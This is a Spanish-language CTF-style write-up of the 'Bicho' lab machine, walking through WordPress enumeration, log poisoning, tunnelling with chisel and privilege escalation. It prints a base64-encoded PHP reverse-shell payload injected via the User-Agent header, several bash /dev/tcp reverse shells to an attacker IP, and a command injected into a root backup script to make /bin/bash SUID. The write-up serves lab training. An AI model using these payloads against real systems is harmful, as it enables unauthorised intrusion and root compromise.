> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/bicho-write-up.md).

# Bicho write-up

## **Verificamos la conexión con la máquina víctima**

<figure><img src="/files/WxC3qLn8MSuXYsxLng8d" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/uMJKe7XjC3t466tTNKhp" alt=""><figcaption></figcaption></figure>

Observamos que el puerto 80 (HTTP) está abierto y que nos redirige a la ruta <http://bicho.dl>. Así que vamos a modificar el archivo `/etc/hosts` para que quede de la siguiente forma:

<figure><img src="/files/H42bb5n20GShi0Jl1bEP" alt=""><figcaption></figcaption></figure>

Una vez hecho esto ingresamos la IP de la máquina víctima en el navegador. Y contemplamos que probablemente se esté tratando de un **WorkPress**. Así que vamos a usar la herramienta llamada **Dirb** para enumerar las rutas ocultas con el siguiente comando:

```bash
dirb http://bicho.dl
```

<figure><img src="/files/j7omuVEhqvhQG1wxuTX4" alt=""><figcaption></figcaption></figure>

Observamos la ruta del login del **WorkPress** (<http://bicho.dl/wp-admin/admin.php>), así que ahora vamos a utilizar la herramienta llamada **Wpscan** para enumerar usuarios y plugins ejecutando el siguiente comando:

```bash
wpscan --url http://bicho.dl/ -e u,p
```

<figure><img src="/files/TYS70FIT5LqdYAhXw0VY" alt=""><figcaption></figcaption></figure>

Esto nos indica la existencia del usuario `bicho`, pero después de intentar realizar un ataque de fuerza bruta no conseguimos nada. Así que volviendo a analizar el escaneo de **Wpscan** observamos que el archivo `debug.log` está visible en la ruta `http://bicho.dl/wp-content/debug.log`, en el log se registran las peticiones fallidas. Así que capturar una petición del login errónea con **Burpsuite** y vamos a inyectar comandos en el campo del User-Agent. Así que primero capturamos la petición del login errónea.

<figure><img src="/files/8Qt0FKsb546bbYg8go7k" alt=""><figcaption></figcaption></figure>

Y ahora en el campo del User-Agent ingresaremos lo siguiente:

```bash
<?php echo `printf YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo= |base64 -d | bash`;?>
```

<figure><img src="/files/5HaGDHBRUGQGwWzQX4Xs" alt=""><figcaption></figcaption></figure>

Esto nos enviará una shell interactiva al puerto 4444 cuando sea ejecutado. Así que después de enviar la petición nos ponemos en escucha con **netcat** e ingresamos la ruta <http://bicho.dl/wp-content/debug.log> en el navegador.

<figure><img src="/files/aHeqbYO5ouwmnApx21mD" alt=""><figcaption></figcaption></figure>

Y así ya estaríamos dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez estamos dentro de la máquina víctima, ejecutamos el comando `netstat -tuln`, el cual sirve para mostrar información sobre las conexiones de red en un sistema.

<figure><img src="/files/TQt0HvYBZRMi4XEkANgT" alt=""><figcaption></figcaption></figure>

Dado que el puerto 5000 (donde está corriendo una aplicación Flask) está abierto solo localmente en la máquina víctima, no podemos acceder directamente desde nuestra máquina atacante. Para solucionar este problema, vamos a utilizar la herramienta `chisel`, que nos permitirá crear un túnel seguro desde la máquina víctima hacia nuestra máquina atacante, redirigiendo el tráfico de ese puerto privado a un puerto accesible de nuestra máquina.

```bash
>>> wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz
>>> gunzip chisel_1.10.1_linux_amd64.gz
>>> chmod +x chisel_1.10.1_linux_amd64
>>> mv chisel_1.10.1_linux_amd64 chisel
```

Ahora para levantar el servidor **chisel** ejecutamos lo siguiente en la máquina atacante:

```bash
chisel server -p 1234 --reverse
```

<figure><img src="/files/qoAdUqkccz3xUiF7DTdj" alt=""><figcaption></figcaption></figure>

Después ejecutamos lo siguiente en la máquina víctima, para dirigir el tráfico del puerto privado a nuestra máquina atacante:

```bash
./chisel client 172.17.0.1:1234 R:9000:127.0.0.1:5000
```

<figure><img src="/files/iHlrp8hbK7BJyPB3YmfQ" alt=""><figcaption></figcaption></figure>

Ahora si ingresamos la ruta `127.0.0.1:9000` en navegador visualizamos la aplicación alojada en la máquina víctima

<figure><img src="/files/7uSXmE1ooJW8ZPgkVnAI" alt=""><figcaption></figcaption></figure>

Si ahora ingresamos la ruta <http://127.0.0.1:9000/console> en el navegador nos aparecerá una consola interactiva en la que podremos ejecutar Python. Así que nos ponemos en escucha con netcat y vamos a ejecutar lo siguiente para obtener una shell interactiva como el usuario `app`:

```python
>>>import os
>>>os.system("bash -c 'bash -i >& /dev/tcp/172.17.0.1/4445 0>&1'")
```

<figure><img src="/files/wwrk2BkQyu3V2Lolfe9n" alt=""><figcaption></figcaption></figure>

Una vez ya somos el usuario `app`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el binario `/usr/local/bin/wp` como usuario `wpuser`. Así que creamos el fichero `/tmp/shell` que contenga lo siguiente:

```bash
bash -i >& /dev/tcp/172.17.0.1/4446 0>&1
```

Ahora nos ponemos en escucha por el puerto 4446 con **netcat** y ejecutamos lo siguiente en la máquina víctima:

```bash
sudo -u wpuser /usr/local/bin/wp --exec="system('bash -c /tmp/shell');"
```

<figure><img src="/files/Rrfuycm24nEsMoSacF6U" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/Z3YUfzkw0lQU1Ukp10wf" alt=""><figcaption></figcaption></figure>

Una vez que somos el usuario `wpuser`, ejecutamos el comando `sudo -l`, el cual nos indica que podemos ejecutar el script `/opt/scripts/backup.sh` como el usuario root. Inspeccionando el script observamos que no se evalúa correctamente el argumento, lo que nos permite ejecutar comandos como usuario root. Para ello ejecutamos el script de la siguiente manera:

```bash
sudo /opt/scripts/backup.sh "../../../tmp/adada ; whoami ;"
```

<figure><img src="/files/1MwxgUVRacVUEcaK43rW" alt=""><figcaption></figcaption></figure>

Así que si ejecutamos lo siguiente daremos permisos SUID al binario `/bin/bash`:

```bash
sudo /opt/scripts/backup.sh "../../../tmp/adada ; chmod u+s /bin/bash ;"
```

<figure><img src="/files/DuhuxO2YLOgH8IGMLAk7" alt=""><figcaption></figcaption></figure>
